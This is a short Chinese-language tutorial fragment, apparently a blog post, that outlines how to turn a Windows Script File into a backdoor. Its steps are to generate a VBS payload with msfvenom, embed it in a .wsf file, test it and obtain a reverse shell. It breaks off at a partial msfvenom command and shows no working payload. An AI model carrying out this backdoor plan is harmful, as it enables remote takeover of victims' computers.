首先了解wsf是啥语言,可参考文章如下:
https://www.cnblogs.com/vitrox/p/5137441.html |
---|
https://blog.csdn.net/leyvan/article/details/3746683 |
http://book.51cto.com/art/201111/300472.htm |
wsf脚本语言是Windows 脚本文件,是含有可扩展标记语言 (XML),支持javascript和vbs,
Include 语句将函数从 VBScript 或 JScript 文件合并到 Windows 脚本宿主项目中。
wsf后门思路:
1)学习.wsf脚本格式
2)msf生成vbs
- msf生成vbs插入.wsf脚本格式
4)尝试运行查看是否报错
5)反弹shell
开始制作脚本:
1) .wsf脚本格式
2) msf生成vbs
msfvenom -pwindows